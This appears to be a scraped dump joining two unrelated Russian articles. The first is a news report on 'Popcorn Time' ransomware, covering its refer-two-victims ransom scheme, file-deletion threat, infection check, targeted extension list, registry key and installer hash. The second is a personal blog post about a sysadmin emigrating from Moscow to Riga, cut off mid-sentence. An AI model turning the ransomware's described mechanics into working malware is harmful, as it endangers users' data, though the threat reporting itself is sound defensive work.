Ransomware в последнее время становится все более распространенной разновидностью зловредного ПО. Речь идет о программах-криптовымогателях, которые, заражая компьютер пользователя, шифруют все его данные, причем ключ находится на сервере у злоумышленника. После того, как ПК заражен, пользователю обычно предоставляют выбор — заплатить определенную сумму за расшифровку своих файлов или же смириться с тем, что они будут удалены через 2-3 дня. При этом жертве показывается таймер с обратным отсчетом времени. Криптовымогателей довольно много, среди всего этого многообразия иногда встречаются очень любопытные экземпляры. Например, есть программа, которая ничего не шифрует, а просто безвозвратно удаляет файлы пользователя, притворяясь криптовымогателем. Да, программа просит денег, но никакого ключа пользователь не получает даже в случае оплаты. Все удаляется хоть с оплатой, хоть без нее. Еще одна программа удаляет по нескольку файлов в час, чтобы жертва находилась в состоянии стресса и быстрее заплатила. Недавно появился новый «штамм» ransomware, который использует самый оригинальный способ нажиться. Несколько дней назад группа специалистов по информационной безопасности, называющая себя   MalwareHunterTeam , обнаружила зловредный софт, названный своим создателем Popcorn Time. Только вот вместо пиратского контента программа предлагает иной способ развлечения своим жертвам. Пользователю, чей компьютер заражен этой разновидностью ПО, предлагают заразить компьютеры двух других людей, чтобы получить ключ для расшифровки собственных данных. То есть работает принцип, обычно используемый коммерческими предприятиями: «Приведи двух друзей и получи что-то бесплатно». Прямо электронная коммерция в чистом виде. Правда, для того, чтобы первая жертва получила ключ, две других жертвы, пришедшие по реферальной ссылке, должны заплатить. Без этого условия ключа не будет. Чтобы усугубить ситуацию, разработчики Popcorn Time добавили еще одну функцию: если пользователь вводит код расшифровки неправильно 4 раза, файлы начинают удаляться. Понятно, что Popcorn Time никакого отношения к одноименному софту, предлагающему скачку медиаконтента с «пиратских» ресурсов не имеет. Сумма, которую запрашивают злоумышленники за предоставление ключа дешифровки данных, очень немаленькая. Это 1 биткоин, что по нынешнему курсу равно около 760 долларам США. Причем просто так подсунуть файл не получится — пользователь, которого хочет заразить уже попавшаяся на уловку злоумышленников жертва, должен перейти по реферальной ссылке. Если два человека это сделают, то первый в этой цепочке человек, предположительно, может получить ключ. Для того, чтобы с задачей мог справиться самый обычный пользователь, Popcorn Time при запуске показывает окно с объяснением всей ситуации (скриншот был размещен выше). Пользователь может либо просто заплатить, никого не обманывая, либо же пойти сложным путем и заразить ПК двух человек. Реферальная ссылка показывается тут же, под инструкцией. Кроме того, каждой зараженной системе присваивается уникальный ID, плюс пользователю показывается адрес, куда нужно отправить биткоины, если он все же решится это сделать. При анализе исходного кода этого программного обеспечения оказалось, что его еще дорабатывают. Уже упомянутая выше функция «ввел код неправильно 4 раза — получил очищенный от данных ПК» еще не работает, но в коде уже прописана. Так что нельзя сказать, будет ли ПО действительно удалять файлы пользователя, если тот попробует угадать код, или же это блеф. В принципе, злоумышленникам ничего не стоит добавить такую функцию — обычно вопросы этики или морали разработчиков криптовымогателей и других типов зловредного ПО не слишком беспокоят. Как происходит заражение При запуске ПО проверяет , не запускали ли его на этом ПК раньше, для чего выполняется проверка файлов %AppData%\been_here и %AppData%\server_step_one. Если хотя бы один из файлов существует, ПО самоуничтожается, не заражая компьютер снова (да, разработчик этого зловреда не хочет казаться обманщиком, это очевидно). В противном случае загрузочный файл закачивает дополнительные файлы и запускает процесс шифрования. Затем ПО ищет папку Efiles, «Мои документы», «Мои рисунки», «Мою музыку» и «Рабочий стол», после чего пытается обнаружить в ней файлы с определенным расширением, кодируя их с использованием AES-256 протокола шифрования. Обработанный криптовымогателем файл получает расширение .filock. Вот список расширений файлов, которые ищет этот зловред, для того, чтобы их зашифровать: Список расширений .1cd, .3dm, .3ds, .3fr, .3g2, .3gp, .3pr, .7z, .7zip, .aac, .aaf, .ab4, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .adp, .ads, .aep, .aepx, .aes, .aet, .agdl, .ai, .aif, .aiff, .ait, .al, .amr, .aoi, .apj, .apk, .arch00, .arw, .as, .as3, .asf, .asm, .asp, .aspx, .asset, .asx, .atr, .avi, .awg, .back, .backup, .backupdb, .bak, .bar, .bay, .bc6, .bc7, .bdb, .bgt, .big, .bik, .bin, .bkf, .bkp, .blend, .blob, .bmd, .bmp, .bpw, .bsa, .c, .cas, .cdc, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer, .cfg, .cfr, .cgm, .cib, .class, .cls, .cmt, .config, .contact, .cpi, .cpp, .cr2, .craw, .crt, .crw, .cs, .csh, .csl, .css, .csv, .d3dbsp, .dac, .dar, .das, .dat, .dazip, .db, .db0, .db3, .dba, .dbf, .dbx, .db_journal, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .der, .des, .desc, .design, .dgc, .dir, .dit, .djvu, .dmp, .dng, .doc, .docb, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .dtd, .dwg, .dxb, .dxf, .dxg, .easm, .edb, .efx, .eml, .epk, .eps, .erbsql, .erf, .esm, .exf, .fdb, .ff, .ffd, .fff, .fh, .fhd, .fla, .flac, .flf, .flv, .flvv, .forge, .fos, .fpk, .fpx, .fsh, .fxg, .gdb, .gdoc, .gho, .gif, .gmap, .gray, .grey, .groups, .gry, .gsheet, .h, .hbk, .hdd, .hkdb, .hkx, .hplg, .hpp, .htm, .html, .hvpl, .ibank, .ibd, .ibz, .icxs, .idml, .idx, .iff, .iif, .iiq, .incpas, .indb, .indd, .indl, .indt, .inx, .itdb, .itl, .itm, .iwd, .iwi, .jar, .java, .jnt, .jpe, .jpeg, .jpg, .js, .kc2, .kdb, .kdbx, .kdc, .key, .kf, .kpdx, .kwm, .laccdb, .layout, .lbf, .lck, .ldf, .lit, .litemod, .log, .lrf, .ltx, .lua, .lvl, .m, .m2, .m2ts, .m3u, .m3u8, .m4a, .m4p, .m4u, .m4v, .map, .max, .mbx, .mcmeta, .md, .mdb, .mdbackup, .mdc, .mddata, .mdf, .mdi, .mef, .menu, .mfw, .mid, .mkv, .mlb, .mlx, .mmw, .mny, .mos, .mov, .mp3, .mp4, .mpa, .mpeg, .mpg, .mpp, .mpqge, .mrw, .mrwref, .msg, .myd, .nc, .ncf, .nd, .ndd, .ndf, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .ntl, .nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .ogg, .oil, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab, .pages, .pak, .pas, .pat, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .pif, .pkpass, .pl, .plb, .plc, .plt, .plus_muhd, .pmd, .png, .po, .pot, .potm, .potx, .ppam, .ppj, .ppk, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .prel, .prf, .prproj, .ps, .psafe3, .psd, .psk, .pst, .ptx, .pwm, .py, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .qcow, .qcow2, .qdf, .qed, .qic, .r3d, .ra, .raf, .rar, .rat, .raw, .rb, .rdb, .re4, .rgss3a, .rim, .rm, .rofl, .rtf, .rvt, .rw2, .rwl, .rwz, .s3db, .safe, .sas7bdat, .sav, .save, .say, .sb, .sd0, .sda, .sdf, .ses, .shx, .sid, .sidd, .sidn, .sie, .sis, .sldasm, .sldblk, .sldm, .sldprt, .sldx, .slm, .snx, .sql, .sqlite, .sqlite3, .sqlitedb, .sr2, .srf, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stl, .stm, .stw, .stx, .sum, .svg, .swf, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .syncdb, .t12, .t13, .tap, .tax, .tex, .tga, .thm, .tif, .tlg, .tor, .txt, .upk, .v3d, .vbox, .vcf, .vdf, .vdi, .vfs0, .vhd, .vhdx, .vmdk, .vmsd, .vmx, .vmxf, .vob, .vpk, .vpp_pc, .vtf, .w3x, .wab, .wad, .wallet, .wav, .wb2, .wma, .wmo, .wmv, .wotreplay, .wpd, .wps, .x11, .x3f, .xf, .xis, .xla, .xlam, .xlk, .xll, .xlm, .xlr, .xls, .xlsb, .xlsb3dm, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xqx, .xxx, .ycbcra, .yuv, .zip, .ztmp В процессе шифрования Popcorn Time показывает нечто вроде окна установки. Видимо, это делается для того, чтобы пользователь не подумал ничего дурного и чувствовал бы себя в безопасности. После этого создаются два файла — restore_your_files.html и restore_your_files.txt. Программа открывает и демонстрирует пользователю первый файл, с расширением .html. Специалисты, обнаружившие это ПО, заявляют, что оно может еще значительно поменяться, поскольку его создатель ведет активную работу по модифицированию зловреда. Ключ реестра, связанный с этим ransomware: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run «Popcorn_Time» [path_to]\popcorn_time.exe. Хэши инсталлятора — SHA256: fd370e998215667c31ae1ac6ee81223732d7c7e7f44dc9523f2517adffa58d51. Можно быть уверенным в том, что в скором времени появятся еще более интересные экземпляры криптовымогателей. Кстати, недавно один из зловредов поневоле сделал проезд для пассажиров железной дороги Сан-Франциско бесплатным. Это ПО заразило все платежные терминалы, так что пассажиры просто не могли заплатить и им разрешили кататься бесплатно (конечно, временно).
https://geektimes.ru/post/283620/
habrahabr
Моя история эмиграции, воплощение мечты админа
['эмиграция', 'карьера', 'администрирование linux-систем']
Приветствую, уважаемые хабражители. Хотел бы поведать вам историю моей эмиграции из Москвы в Евросоюз. Когда-то давно мне попалась статья и я проникся окончательной идеей уехать из России, но я не...
Приветствую, уважаемые хабражители. Хотел бы поведать вам историю моей эмиграции из Москвы в Евросоюз. Когда-то давно мне попалась статья и я проникся окончательной идеей уехать из России, но я не думал что это будет Латвия. Обо мне Меня зовут Алексей Буцкий, именно сегодня мне исполнился 31 год, символично 13 — 31. Я unix админ, у меня есть свой хостинг, у меня за плечами почти 12 лет опыта работы именно админом, 10 лет стажа в трудовой книжке инженером, админом, тимлидом, всего хватило мне в жизни. Я даже ремонтировал телефон, с отчётом для хабра и у меня спустя время даже спросили совета по этой статье. Был приятно удивлён. Много чего ещё ремонтировал и руки из правильного места, не хватало времени описывать, фотографировать, ну отмазался ладно, не кидайте тряпками. Админ, технарь, искатель приключений и вдохновения. Мой хостинг был для меня всегда хобби, хобби приносящее деньги это вдвойне приятно. Но так было до появления моей первой жены, когда приоритеты и всю жизнь немного пришлось пересмотреть. Хостинг был, есть и будет, это моя некая песочница, которая теперь больше потребляет чем отдаёт, но это родное. Я в ней обыгрываю те или иные конфигурации, устанавливаю, играюсь, удаляю. Получаю опыт в админстве, программировании, железе и технологиях.Небольшая песочница на 2-3 десятка серверов в Москве и СПб. И теперь небольшая часть лежит у родителей в Москве, когда-нибудь пригодиться. Всегда и везде собираю старую технику, коробочки, провода, комплектующие. Обычный такой админ — ничего сверхъестественного. Но вот я устал от Москвы, очень устал, когда-то не любил, теперь ненавижу Москву. Она отняла мой символ будущего, но я нарисовал новый. С чего всё началось Лет пять назад, даже от одного слова уехать куда-то из дома моя первая жена вздрагивала. Путешествия да, ок, но не оставить дом, родителей, бабушек, дедушек и так далее. Поехала бы просто потому что любила и поддержала бы моё решение, как делала это всегда. Но это не собственная мечта, просто быть рядом с любимым мужчиной. Тогда я это не ценил. Она не понимала что я задыхаюсь в городе из стекла и бетона. В городе где даже чувства перестали быть для людей главным. Только потребности, только собственные достижения. Выше, круче, богаче. Где люди рождаются, живут и умирают в пробках, если не пробках, то в общественном транспорте. По 3-5 часов в день туда-обратно. Возьмём минимум 3 часа в день на доставку себя к работодателю и обратно. 15 часов в неделю. 31,25 дня в году, я взял 50 недель, отпуск там или ещё чего, но и 3 часа я брал минимум.Бывало что в пробке можно было стоять и по 3-4 часа. Меня не раздражает пробка, сам факт стояния, дерганий, меня раздражает потеря времени, которое я мог провести с любимым человеком в постели, на природе, да где угодно, но не в пробке. Я всегда старался жить одним днём, а теперь это мой принцип и символ жизни, есть планы, есть будущее, но этот день он последний. О недосказанном или не сделанном ты можешь потом жалеть всю жизнь, поэтому потеря времени для меня всегда была критична в моральном плане. В пробке я научился делать почти всё, есть конечно женщины по круче, но это уже сексизм. В 2013 году произошло переломное событие в моей жизни и разделило на "до" и "после". Так вот это "после" превратило меня в последнюю скотину по отношению к другому человеку, к моей первой жене. Я больше не хотел быть с ней и до начала 2014 года мне было стыдно и страшно в этом признаться. В начале всё решилось в голове, потом спокойно и тихо на словах. Да, мы прожили рядом ещё до конца года, но это уже нельзя было назвать жизнью. С августа мой разум и сердце принадлежали другой. Я разрывался, потому что возвращался к нелюбимой женщине в дом, вёл быт, делал ремонт и не мог придти к любимой. Моя избранница была странной, она то добивалась меня и завоёвывала странными поступками, подарками, квестами, то замирала и уходила в себя. Иногда нужна просто уверенность в завтрашнем дне, даже после бурного дня сегодняшнего. Осенью 2014 года я окончательно разочаровался в Москве. В том, что начало происходить вокруг. Потитика, финансы и всё остальное. Всё что продолжало происходить во мне. Я начал искать выход из своего порочного круга, который сам же и создал, и из бетонных колец ужасного города. Поиски и попытки ужиться в всепоглощающей Работодатель в начале 2015 решился и избавился от команды. Это было уже второе сокращение в моей карьере. Надоели. Сидение, ожидания руководителей команды и обещания что всё будет хорошо. Поиски новой работы. Смена работодателя на Madnet, суперская команда CityAds. Я рад что поработал с профессионалами своего дела, что приняли в свою команду, доверили проект. У меня была новая жизнь, новый человек рядом, который, как мне казалось, поверил наконец в меня. Я решил что сдвину горы и осушу моря. Я попытался сделать что-то в нашей жизни лучше. На работе были проблемы за проблемами, какие-то конфликты, уход всей команды, я выгнал проджект-менеджера за ничего не деланье. Взял нового, надеясь на то, что смогу положится на человека. Вообще это был странный период жизни, когда вроде бы всё хорошо, но чувство и желание расти дальше не покидает тебя, а ты заперт. Сверху метра два земли, а внизу пятки уже шпарит огонь. Я хотел вырваться и у меня была рядом муза, которая желала того же. Я хотел исполнить её мечту. Я усиленно штудировал мануалы, какие-то рекомендации, я вкачивал в себя ежедневно гору информации. Новости, релизы, блоги. Я учился, я усиленно учился, но не понимал ещё пока зачем. Став не просто админом, а возглавив команду разработки, я думал что вот оно и я на правильном пути. Админ был тимлидом, проджектом, кем я только не был. Сил оставалось всё меньше. На тот момент уже начинались проблемы на работе, я знал что через несколько месяцев придется что-то искать, потому что проект закончится, закончится интересное для меня и на этом всё. Сидеть просто так на месте я не смогу. Такой я человек, мне нужна движуха, в рутине я гибну. Но желания просто свалить было мало — куча вопросов разрывала разум и сердце. Куда? Каким образом? Поддержит человек, который находится рядом? Что делать в чужой стране вдвоём? А если нас станет трое? Как быть? На что жить? Какая зарплата нужна? Как вообще это можно сделать? Где искать? Что делать с языком? Как меня нашли Это было в начале апреля 2016 года. Мы только недавно вернулись из чудесного места — Филиппин. Нам даже удалось на какое-то время побыть только вдвоем на целом свете. Да, там это можно сделать, там есть абсолютно дикие пляжи, без единой души. Я обязательно туда ещё вернусь с любимым человеком. На работе как-то не очень. Перспективы — бесперспективняк. Только вторая половинка, иногда поджуживая, поддерживала и говорила что всё будет хорошо. Посмеивалась над моими наивными эмоциями касаемо работы и выдуманными проблемами. Только-только отгуляли отпуск и денег особо опять не осталось, искать что-то новое даже и не думал. Но я знал что долго не смогу и это против моей воли, остаться и делать то, что мне начинало не нравится. Меня и команду использовали для своих интересов, не думая чего хочет на самом деле команда, не понимая вообще в RTB ничего и что с ним можно сделать. И тут приходит сообщение в недавно закрытой для доступа из России сети по поиску деловых контактов. Девушка Алина пишет мне письмо с предложением о работе в какой-то международной компании, в каком-то офисе в Риге.Она интересуется далеко ли это для меня и готов ли я на такое. Я всегда был неким авантюристом за новыми знаниями, за новыми эмоциями. Я был готов, но было страшно. Я пришёл и своей второй половинке всё честно рассказал, так и так. Попробуем? Давай. Девушка из агентства назначила мне Skype собеседование с ней, чтобы она лучше рассказала про вакансию, лучше узнала обо мне и моих навыках. Собеседования Через какое-то время она вновь написала в Skype, восторженно сообщила что со мной уже хочет пообщаться HR отдел компании. И если я не против, то можно дать ход на мою кандидатуру. Я был в шоке и замешательстве, до последнего момента я не верил во всё это. Со мной созвонился молодой человек, неплохо говорящий на русском языке. Мы пообщались около часа, я узнал больше о компании и вакансии, они узнали больше обо мне. Через какое-то время мне пришло приглашения на собеседование с будущем коллегой и руководителем подразделения. Я согласился. За несколько дней мне добавился руководитель и я понял что на русском мы с ним вряд ли будем общаться. У меня даже сейчас есть небольшое стеснение разговора на английском. Я всё понимаю, я читаю профессиональную литературу. Мануалы. Но не имея опыта общения для меня это было трагедией-трагедией, потому что знание языка было одним из пунктов по вакансии. Язык компании — английский. В моём мире всё перевернулось, я понимал что не смогу разговаривать с человеком, что он живёт в Лондоне, он носитель языка, а я полный лузер. У меня есть проблемы с языком, когда-то упустил в школе или университете. Компания предоставляет обучение с преподавателем, но пока до меня не дошли. Это было 9 мая, когда я покорил Лондон. Я запинался, я забывал слова, я пытался уловить и понять что мне говорят люди. Мой коллега со Пскова, но прожил достаточное время в Бразилии и с языком у него всё очень хорошо. Но мы понимали друг друга. Я понял что они хотят, они поняли что из себя представляю я. Меня ужасно трясло. Но моя вторая половинка успокоила меня и похвалили за хороший разговор. Я понял, что хочу сделать для этого человека всё. Объяснила мне что и как у меня было ошибками, она сидела по соседству во время интервью и иногда я старался как рыба выхватить слова из её рта. Она продолжительное время занимается с преподавателями по английскому языку, что было одним из пунктов гордости за неё, за её стремление вырваться.Она две недели попыталась со мной заниматься языком, чтобы я подтянул что по её мнению мне нужно было, к следующим интервью. Я был рад, я был счастлив. Мы наконец дышали в один такт. Потом бросила, разочаровалась, перестала заниматься. Я переступил через себя и страх собеседования на другом языке. Я неплохо его прошёл и это было отдельной гордостью. Я никогда до этого ни с кем не общался на английском час с лишним. Да, я привык к моим собеседованиям по 2-3 часа, когда я рассказываю и меня спрашивают что умею и с чем работал, но это всегда на русском. Они ушли в ожидание, HR написали мне, что свяжутся с обратной связью позже. Писали другие HR, агентства, но я правда никуда не собирался, всем был отказ (Москва, Питер, Дубаи, Япония). Моя вторая половинка отвернулась от меня, сказала не мучать людей и не отнимать их времени, всё равно мне будет там скучно и ничего хорошего не получится. Но я почему-то настроил себя по другому. Я знал что мы вместе хотим уехать. Я хотел сделать ей сюрприз, пройти всё до конца и принести победный трофей в наш дом, я хотел чтобы гордилась и похвалила. Мне назначили следующие интервью с человеком, который входит в DBA подразделением, куда должен был быть оформлен я. Да, моя должность DBA на данный момент. Hadoop это тоже DB с какой-то стороны.Был я, HR и DBA. Всё прошло достаточно быстро и хорошо. Были переписки и скайп-колы с разными людьми из компании. Потом было финальное интервью, как мне сказали с Head of IT. Я подумал — ну всё, каюк котёнку из Воронежа, тьфу Москвы.Оказалось что руководитель IT общительная, жизнерадостная и позитивная женщина. Мы были на одной волне, начали на английском, потом когда перестала меня понимать перешли на русский.Мы говорили час или два. Мы пришли что очень схожи во взглядах на мир. На этом мои собеседования закончились. Я не увидел её в компании, она ушла до моего прихода к сожалению. Я хочу оставить отвратительный отзыв своим бывшим коллегам из Вымпелкома, за отвратительную связь 3 и 4 поколения в районе Шуховской башни. Я разговаривал по телефону и скайпу из машины, при этом наворачивая круги, чтобы найти устойчивую связь и встать где-нибудь во дворе.Там где машину парковал обычно, связи вообще не было, даже намёка на обычный GSM. Было время ожидания. Я жил, продолжал работать, мечтать о будущем, строить будущее, думать как сделать предложение руки и сердца человеку. Но меня не отпускала мысль, что всё будет хорошо, что всё получится. Мы были у её родителей на даче во Владимирской области, обычный понедельник 13 числа (вся моя жизнь связана с этим числом), выходной в честь 12 июня. Мне раздался неожиданный звонок, опять Латвия, незнакомая девушка на английском в очередной раз интересовалась как прошли мои собеседования, всем ли был я доволен, что думаю о переезде и перспективах. Через несколько часов мне позвонил тот первый HR, молодой человек, который звонил мне первый раз. Его зовут Артём, на тот момент мы уже были заочно знакомы, несколько раз что-то по почте писали друг другу.Он сказал что компания готова выслать Job offer и они будут рады увидеть меня в своей команде. Мы собирались домой в Москву. Я начал сиять, я был счастлив. Всё что я думал было шуткой и приколом, всё стало правдой. Я не спал, мы смогли. Нас ждало впереди будущее, вместе, оставив всё в прошлом в ужасном городе Москва, всю боль и обиды. По дороге обратно мы почти не общались на эту тему, потому что я был как кот, который принёс хозяйке мышку в подтверждение любви, верности и покорства, а меня не поняли. На меня обиделись, как я мог за спиной всё провернуть.Я думал что это будет неплохой старт, новый виток во всём: в нашей жизни, эмоциях, странах, городах, знакомствах, во всём. Мы вырвались — мы смогли. Подготовка Моя девушка долгое время говорила мне — кто я тебе, зачем я тебе. Я очень долго мечтал это исправить, я хотел чтобы на всю жизнь она стала моей женой и больше никогда не говорила этих фраз.Был не плохой повод доказать что нужна, нужна больше жизни и воздуха. Мы ехали домой по пробке, что-то обсуждали, о чём-то спорили, а я ехал — смотрел на неё и понимал что это моя жизнь и ничего другого не хочу. Я не дал ей вылезли из машины, я встал на колени и сделал предложение. Я спросил готова ли она на всю жизнь остаться со мной, готова ли она решить за нас двоих едем мы или нет. Ответ был положительным. Человек поддержал, человек дал опору и ось, чтобы повернуть землю. Мой символ по прежнему на моём пальце и теперь на моём плече. Символ, который помог вырваться, сделать шаг в неизвестность. Шаг, который как мне казалось, поддержал самый близкий мне человек на свете. Я принял офер. Мы начали планировать подачу заявления в ЗАГС, но я понимал что мы всё-равно не успеем к моему отъезду сделать все документы. Смена фамилии, смена всех-всех её документов. Мне выделили менеджера по переселению, которая сразу сказала, что если свидетельства сейчас нет, то будет проще и быстрее сделать документы сначала мне, а потом уже я сам сделаю документы для жены, хотя компания помогала переселить обоих. Я рассчитывал что они помогут с документами, но почти всё в Риге пришлось делать самому. Оказалось не всё так сказочно, что обещали в приложении к оферу.Я читал что и как делать. Какие документы нужны. Собирал справки, ксерокопии, нотариусы, переводы, пошлины. Я отправил пакет документов и стал ждать. Я работал, уставал, старался и поддерживал свою половинку. В итоге мы поругались из-за нервов, не понимания и каких-то детских обид с обеих сторон. Подача заявления была сорвана. Времени оставалось всё меньше и меньше, потому что оговоренным сроком выхода на работу было 1 сентября. Я понимал, что если не уложусь или где-то налажаю, офер отзовут и всё, что я не один кандидат и всегда найдётся 10 на моё место. Я искал попытки помирится с девушкой, найти и доказать, что компромисс возможен. Делал ремонт в квартире, куда уже год не могли переехать, из-за вечных проблем с деньгами и взаимного недопонимания. Но вот пришёл он — договор и комплект документов, для подачи в посольство в Москве. Мы помирились и читали его почти до утра, переводя каждое предложение по несколько раз. Мы пошли подавать заявление на ускоренную роспись, чтобы я уехал уверенным в будущем и она поверила мне. В Латвию я отправил заверенную у нотариуса копию диплома, копию загран паспорта. Диплом или подтвержденный стаж необходимы для миграционной и службы занятости как подтверждение вашей квалификации, что не просто так берут иностранца, а не человека с внутреннего рынка. Все переводы и заверения в Латвии на себя взяла компания. Мне нужно было только найти жильё и к моменту похода в посольство иметь гарантийное письмо на проживание. Как сейчас уже я узнал, диплом и документы подаются на трёх языках и перевод не обязателен. Договор и бумаги уехали обратно в Латвию, а я занялся поисками жилья, сбором остальных документов, завершением дел в России. Для получения решения на ВНЖ необходимо жильё, своё, аренда, не важно. Вы должны обязательно задекларировать своё место пребывания. Без одобрения проживания в стране вам не дадут положительного решения.Начались длительные поиски квартиры, удаленно, переписками с риелторами. Кто-то отвечал, кто-то вообще не отвечал. Ни по-русски, ни по-английски. Ориентируясь на карту и фото объекта, я что-то подобрал. Компания гарантировала оплату жилья или его предоставление в течение 3 месяцев, но они не заморачиваются с поисками, а просят вас сделать всё самим, дают контакты риелторов, сайты по поиску объявлений, но делаете вы всё сами. Тяжело, очень тяжело удалённо. Хозяйка была готова предоставить жилье, прописать меня и жену, сделать все документы для миграционной. Я был рад решению этого квеста, но не знал что выбрал жильё с ошибкой. Опишу более подробно позже. После получения всех документов из Риги я записался в посольство в Москве и сдал всё на рассмотрение. Начались жуткие недели ожидания. В договоре значилось, что условием работы является получение ВНЖ, понятно что без него я не нужен им.Сколько-то времени прошло, чтобы посольство отправило в Ригу документы, недели две-три, потом в течение каких-то непонятный 10 дней, конечно же никто мне точные даты не сказал, должны были вынести решение. Я вздрагивал от каждого письма, я смотрел каждое сообщение. У меня всё остановилось внутри на этот период. Переезд При получении ВНЖ в Европу есть два варианта, обычное ВНЖ с рабочим договором и синяя карта ЕС, которая даёт больше свобод и позволяет супругам получить ВНЖ с правом работы сразу. Меня очень заботил этот момент, потому что понимал что моя жена не будет сидеть дома, ей нужно развиваться, она будет искать способы развития. Работу точно искать будет, переубедить в обратном было достаточно сложно. Менеджер по переселению сказала, что образование подходит под описание требований к вакансии в гос. реестре и конечное решение будет за миграционным министерством, но шансы есть на получение синей карты.Я очень этому обрадовался, вычитал все различия между ВНЖ и синей картой. Начал изучать вопрос поездки туда на машине, у нас было два автомобиля, которые пригодились бы нам точно. В общем начал уже планировать и жить будущем. Получили апостиль для свидетельства, он оказался не нужен в Латвии, для регистрации брака в гос. учреждениях вам нужен будет просто перевод на Латышский и заверенная копия или оригинал свидетельства на русском. Пришёл на работу и честно сказал, что через месяц я ухожу. Что причина не в деньгах, причина в желании развиваться и уехать из России. Меня поняли. Когда до принятия офера разговаривал с женой, она говорила — ну поговори с HR, может быть поднимут ЗП и не надо будет ехать, я рад что не сделал этого, не обманул себя и не обманул людей. Ведь деньги были для меня не важны. Наконец мы поехали и рассказали всё моим родителям, что уезжаем и в другую страну. Родители конечно были в шоке, они вообще ничего не понимали, но приняли наше решение. Для них это было моим решением, они думали что она просто поддержала меня и я тащу её в неизвестность. Встретился с друзьями и знакомыми, с которыми давно не виделся, рассказал что уезжаю с женой в Латвию. Кто-то смеялся, кто-то давал советы, кто-то подбадривал, но большинство было в шоке, как можно было это сделать. У меня в голове всё сложилось, я знал что получу документы, оформлю визу и поеду налаживать быть, чтобы ждать её там, в Риге. Что первую неделю буду делать документы себе, а потом сразу займусь документами для неё. Для пересечения границы с Латвией на автомобиле вам необходима будет действующая виза, действующий полис — green card и ОБЯЗАТЕЛЬНО наличие диагностической карты или другого аналога ТО, если вы например из Беларуси. На границе с Литвой и Эстонией, диагностическая карта например не нужна. Письмо с положительным решением о ВНЖ, да и ещё получением синей карты пришло вечером 19 августа. Нужно получить визу для въезда, что мой отъезд повисает ещё на время получения визы, а 1 сентября уже рядом.И за квартиру, которая была оплачена уже за август, нужно уже платить за сентябрь, а денег после увольнения остаётся всё меньше и меньше. Я написал завещание. Страх перед неизвестностью, меня ждало 900км дороги, граница, новая страна и новый город. Я не знал что там впереди и доберусь ли вообще. Было 28 августа около 4 часов ночи, когда у меня текли слёзы из глаз, а моё сердце разрывалось. Я уезжал, я не мог больше ждать, меня ждали в Риге для оформления документов и выхода на работу. Хозяйка квартиры ждала очередной оплаты. Я должен был ехать. Жена не приняла этого, она уехала сама утром по делам, выключила телефон, заблокировала все способы общения.Более тяжёлой ситуации представить невозможно. Один, без поддержки, первый раз проходя такой маршрут в жизни. Проходя все квесты в одиночку. Рига Было страшно и ужасно ночью на дороге, но я верил и знал что всё будет хорошо. Я должен был сделать и закончить что мы начали вместе, я был обязан доехать. Рига встретила меня небольшим солнцем и хозяйкой квартиры около полудня. Квартира оказалась как на фото, небольшая, чистая, вполне пригодная для жизни. Но ничего из посуды, стульев или стола не было. Во дворе была парковка для своих, весь центр Риги платная парковка с разными зонами и разными ценами, так что парковка во дворе очень и очень хорошо. Парковка от полутора до пяти евро в час, в зависимости от зон. Даже рядом с офисом организации CSDD, которая отвечает за движение, парковка платная. Но если немного проехать дальше можно найти бесплатную, я это понял на второй из десятков раз посещения их офиса. А вы на 200р жалуетесь в Москве. Позже, к октябрю, я понял ошибку выбора жилья. Старые довоенные дома почти все каменные, без отопления, достаточно холодные и промозглые. Мне казалось что два электрообогревателя под окнами будет достаточно.Ошибался. Холодно и не уютно. Очень много уходит электроэнергии, чтобы протопить эти высоченные потолки. Я уже начал путь поиска нового жилья, у меня будут батареи, по которым я соскучился. Я записался на получение ID, на основании решения о ВНЖ. Его мне выдали 1 сентября и первого же я пошёл завершать подпись документов на работе. Мой старт поставили официально 2 сентября, по закону в день выдачи ID нельзя считать днём выхода. Но я успел, я не подвёл, я смог. Начались самые долгие недели в моей жизни, без общения с женой. Я писал и звонил каждый день в пустоту. Каждый день получения кучи нужной и не очень информации в ведомствах. Если вы что-то где-то прочитали, то идите с этой информацией уверенно, не пытайтесь узнать у клерков что-то. Тут как рулетка, могут правильно отправить или что-то сказать, а могут отправить на другой конец города просто так, по не знанию вопроса.Оформления банковской карты. Оформления документов на жену. Вообще бюрократический ад и позволить себе остановится я не мог. Грустить и расстраиваться я позволял себе только в одиночестве и по вечерам. Всё получив, всё подготовив, пройдя всё, я ринулся обратно в Москву. Это было 16 сентября, когда я сразу после работы поехал к человеку, который я считал ждал меня. Тогда под утро на трассе я впервые испытал туннельный эффект водителя. Когда фары в далеке, по краям одинаковая стена и я медленно ухожу в светлую точку вперёд. Трасса "Балтия" очень прямая и без населенных пунктов. Я вовремя остановился, привёл себя к жизни, выброс адреналина и булавка в пальце помогли доехать до Москвы.Но я вернулся к ней, хотя она не хотела этого, я одел кольца ей на палец. Я попытался всё исправить, она была моей музой ко всему этому, я всё прошёл ради нас. Спустя два дня я вернулся в Ригу. Начал планировать дальнейшую жизнь. Жизнь заиграла не черными, слегка серыми красками, мне очень не хватало её рядом. Мы вместе начали мечтать, что будем делать дальше. Я начал считать дни до её приезда. В середине ноября я последний раз был в Москве, больше у меня нет символа туда возвращаться. Я не дождался её, она не приняла меня обратно, она начала новую жизнь, без меня. Итог Я прошу прощения за длительность рассказа и возможно не очень ценную информацию в нём, но я хотел рассказать небольшую историю человека из Москвы, у которого было всё, как он считал (семья, работа, квартира, амбиции), но он устал и хотел идти дальше. Это история обо мне. Большую часть информации привёл человек из рассказа, со ссылки на 